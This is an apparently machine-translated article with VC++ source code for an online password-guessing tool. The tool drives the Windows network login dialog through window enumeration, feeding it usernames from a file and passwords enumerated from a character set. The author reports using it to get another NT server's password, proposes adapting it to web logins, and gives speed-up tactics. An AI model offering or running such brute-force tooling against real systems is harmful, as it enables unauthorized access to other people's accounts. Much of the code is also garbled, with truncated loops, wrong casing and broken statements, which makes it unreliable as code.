The main idea of the Windows network user password guess algorithm is to use the window enumeration functions provided by Windows to find the network login window. Use the sub-window enumeration function EnumChildWindows () or getNext-DLGTabItem () and getWindowlong () to locate the various controls on the network login window. Enter the username and password using SenddlgiteMmessage () or setdlgitemtext (). Send the "OK" message using SendMessage (). In this way, the entire network login process is completed using the program. In the process of repeating this process, the username and password are used, thereby completing the enumeration susceptibility of the network username and password.
First, guess the process of process:
To illustrate the problem, only the main process is written below. The source code implemented with VC is given to the critical process. The code between MUTEX.LOCK and MUTEX.UNLOCK is only allowed to be single-threaded access in the following procedure. "Password enumeration" means that the user specified by the user has been enumerated, and the program will re-enumerate this character collection. For specific usage of each function in the source code, see MSDN. For multi-threaded usage, refer to "Visualc Technical Insider".
The source code for key processes is given below (see Figure 1-1 of Figure 1-1):
1. Global variable:
Struct_thread
{
CWINTHREAD * PTHREAD;
}
_Thread windowThread [iProc], PASSTREAD [1], useertread [1];) // iproc: window enumeration thread
CEVENT geventnextPass; // Remove a password to import synchronization
CEVENT geventPassok; // has obtained a password to introduce synchronization
CEVENT geventnextuser; // Remove a username, introduce synchronization
CEVENT geventuserok; // has obtained username to introduce synchronization
Cmutex gmutex; // mutually exclusive, only single-threaded access
Char ccurrentpass [MAX_PASSWORD_LENGTH]; file: // Currently used password.
Char ccurrentuser [MAX_USER_LENGTH]; // Currently used username
2. Thread start:
{
File: // Password enumeration thread
IF (PASSTREAD [0] .pthread == null)
{
PASSTREAD [0] .pthread = AFXBEGINTHREAD ((AFX_THREADPROC) GetNextPassl, Null,
Thread_priority_lowest);
PASSTREAD [0] .pthread-> m_bautodelete = TRUE;
File: // 代 取 取 码 码 码 码 码 码 差 差 差 差
}
FILE: // Username Enumeration Thread
IF (userTread [0] .pthread == NULL)
{
Usertread [0] .pthread = AfXbeginthread ((AFX_THREADPROC) GetNextuserf, Null,
Thread_priority_lowest);
PASSTREAD [0] .pthread-> m_bautodelete = true;
}
File: // Window enumeration thread
For (int i = 0; i
{
IF (WindowThread [i] .pthread == NULL) {
WindowThread [i] .pthread = AFXBEGINTHREAD ((AFX_THREADPROC) Threadproc, NULL,
Thread_priority_lowest);
WindowThread [i] .pthread-> m_bautodelete = true;
}
3. Window and sub-window enumeration
Uint ThreadProc (LPVOID * PPRARAM)
{
While (1) {while (! Enumwindows ((WndenumProc) EnumWindowsProc, Null) Break;}
Return 0;
}
Bool Callback EnumwindowsProc (HWND HWND, LPARAM LPARAM)
{
Char lpwintitle [max_LINELENGTH];
:: getWindowText (hwnd, lpwintitle, max_LINELEngth-1);
IF (Strcmp (LPwintitle, Stitle) == 0) // Stitle: Window name of the network login window
{GMutex.lock (Infinite); / / Prevent two threads from operating simultaneously
While (EnumchildWindows (HWnd, (WndenumProc) ENUMCHILDPROC, NULL);
Gmutex.unlock ();
Return False;
}
Return True;
}
Bool Callback EnumchildProc (HWND HWND, LPARAM LPARAM)
{
Char SchildName [MAX_LINELENGTH];
:: getclassname (hwnd, schildname, max_linength-1);
File: // Process the editing control, the login window is usually only two edit boxes, and the window can be viewed with Microsoft SPY .
File: // Each sub-window
// 's properties. By comparing the style or name of each control, each control is distinguished.
IF (STRCMP (SchildName, "Edit") == 0)
{
DWORD dwinsty = :: getwindowlong (hwnd, gwl_style);
IF (DWInSty & Es_Password) == ES_PASSWORD) // This is a password input editing control
{
geventnextPass.sevent (); // Send "New Password" event
WaitforsingleObject (geventPassok, Infinite); file: // Waiting for "Password Complete" event
GeventPassok.RsetEvent (); file: // Reset
:: setdlgitemtext (:: getwindowlong (hwnd, gwl_id), ccurrentpass;
File: // Fill in the new password into the password input box, or use setWindowText ()
BPASS = true; // Recording password has been filled in
IF (Buser && (Hok! = null) // If the username has been filled, the "OK" button is found.
{
:: SendMessage (:: getParent (HOK), WM_COMMAND,
(Wparam) :: getWindowlong (HOK, GWL_ID), (LPARAM) (HOK);
FILE: / / Send a message to "OK" button, refer to the message mapping of ClassWizard
Buser = false; bpass = false; hok = NULL;
File: // Complete a login, initialize
Return False;
}
Return True;
}
File: // Not this is, this is the username input editing control
IF (DWInsty & Es_Readonly)! = es_readonly)
{
:: setdlgitemtext (:: getWindowl ", ccurrentpass; file: // fills the new user name into the username input box, or setwindowText ()
Buser = true; // New username has been filled in the username input box
IF (BPASS & & (NUK! = NULL)) If the password has been filled, the "OK" button is found.
{
:: SendMessage (:: getParent (HOK), WM_COMMAND,
(Wparam) :: getWindowlong (HOK, GWL_ID), (LPARAM) (HOK);
FILE: / / Send a message to "OK" button, refer to the message mapping of ClassWizard
Buser = false; bpass = false; hok = NULL;
File: // Complete a login, initialize
Return False;
}
}
Return True;
}
FILE: // If you are a button control
IF (STRCMP (SchildName, "Button") == 0)
{
Char SchildTitle [MAX_LINELENGTH];
:: getWindowText (HWND, Schildtitle, Max_LINELENGTH-1);
IF (STRCMP (Schildtitle, SButtonok)! = 0) Return True;
// SBUTTONOK: Title of the "OK" button in the login window
HOK = hwnd; // Record "OK" window handle
Buser && bpass
{
:: SendMessage (:: getParent (HOK), WM_COMMAND,
(Wparam) :: getWindowlong (HOK, GWL_ID), (LPARAM) (HOK);
FILE: / / Send a message to "OK" button, refer to the message mapping of ClassWizard
Buser = false; bpass = false; hok = NULL;
File: // Complete a login, initialize
Return False;
}
Return True;
}
Return True;
}
4. User name enumeration:
Uint getNextUserf (file * file)
{
Char cusend [max_linelarngth], * token;
FILE * FUSER;
INT I, FLAG = 0;
IF (null == (FUSER = FOPEN (SUSERROAD, "R "))) File: // SUSERROAD: is the path and file name of the username
{
MessageBox (getActiveWindow (), "Error when opening files.", "Message", 0);
IF (Fuser! = NULL) Fclose (FUSER);
Return 0;
}
While (! feof (fuse))
{
For (i = 0; i
IF (null == fgets (cuser, max_linelarngth, fuse))
{
BCheckuser = false; // Record the username enumeration
Fclose (FUSER);
Return 0;
}
Token = strook (cuser, setprate); // #define setprate "/ t / n / r"
DO
{
WaitForsingleObject (geventnextuser, infinite);
// Wait for "new user name" event
geventnextuser.RsetEvent (); // Reset.
For (i = 0; i
STRCPY (CCURRENTUSER, TOKEN); // Change the current username. geventuserok.sevent (); // Send "User Name Complete" event
} while ((token = strook (null, setprate)))! = null);
}
Return 1;
}
5. Password enumeration:
Uint getNextPassl (LPVOID PPARAM)
{
INT I, J, IPRE;
Char CBUF [MAX_PASSWORD_LENGTH];
Begin:
For (int m = 0; M
{
File: // char ccurrentcharlist [MAX_CHARLIST_LENGTH]: Current password constitutive character set list
File: //, for example: ccurrentcharlist = "abcd": indicating that the enumeration is composed of ABCD
File: // int ccurrentpclist [MAX_CHARLIST_LENGTH]: Pointing the current password
File: // Compose a list of characters collection list
File: // For example: 4444: Indicates that the generated password is "DDDD",
File: // 4231: Indicates that the generated password is "dbca" ......
Ccurrentpclist [M] = iCharcount;
// iCharcount: The number of characters that make up characters
}
While (ccurrentpclist [0]> = 0) // If curlist.ccurrentpclist [0] <0 ends
{
For (int N = 0; N
While (1)
{
For (i = 0; i
{
CBUF [i] = ccurrentcharlist [ccurrentpclist [i]];
}
WaitforsingleObject (geventnextpass, infinite);
// Wait for "new password" event
geventnextPass.RsetEvent (); // Reset.
For (int N = 0; N
STRCPY (CCURRENTPASS, CBUF); // Change the current password.
geventPassok.sevent (); // Send password to complete events
File: // Perform the process of ccurrentpclist arrays.
IF ((ccurrentpclist [i-1] -) == 0) BREAK;
}
File: // Last bit ipharcount ;;
CcurrentpClist [i-1] = iCharcount;
Ipre = 1; // borrowing sign
For (j = i-2; j> = 0; J -)
{
IF ((ccurrentpclist [j] - = ipre) <0)
{
IF (j == 0) BREAK; // ends.
Ccurrentpclist [J] = iCharcount; ipre = 1; // Reset J, upward borrowing.
}
Else {ipre = 0; Continue;} // Don't borrow it again.
}
}
IF (ccurrentpclist [0] <= 0)
{
File: // Reset, go to the next loop.
If (! bCheckuser) // If the username enumeration
{
MessageBox (GetActiveWindow (), "All usernames and passwords have been enumerated.", "Messages", 0);
Return 0;
}
geventnextuser.sevent (); // Send "New User Name" event
WaitForsingleObject (geventuserok, infinite);
File: // Wait for "username to complete" event
Geventuserok.resetEvent (); // Reset. Goto Begin;
}
Return 0;
}
Second, the application of the LAN and the interconnection network:
The author uses software written in accordance with the above algorithm, successfully acquiring the password of another WindowsNT server from the WINDOWSNT workstation on a local area network. It is also possible to prepare software that derive interconnect online passwords can also be used with this algorithm. The key problem is how to locate the username input box and password input box and the "OK" button in the web page.
Third, there is a problem and solution:
In the 10M / 100M LAN, after the WindowsNT server fails, it will pop up the network login dialog again after about 0.7 seconds. This time overhead severely restricts the speed of the suspected. Commercial solution is to open multiple network login dialogs at the same time (from "network neighbor" while opening a network login dialog box), which can be used to improve the speed of the suspected, but still too slow . In addition, several computers can be used at the same time. As for the suspect interconnect online password, the speed can be imagined. But it doesn't matter, many passwords are numbers, more passwords do not exceed 26 characters plus 10 numbers. Moreover, people use these 26 characters and 10 numbers of frequencies that can be used first in the enumeration.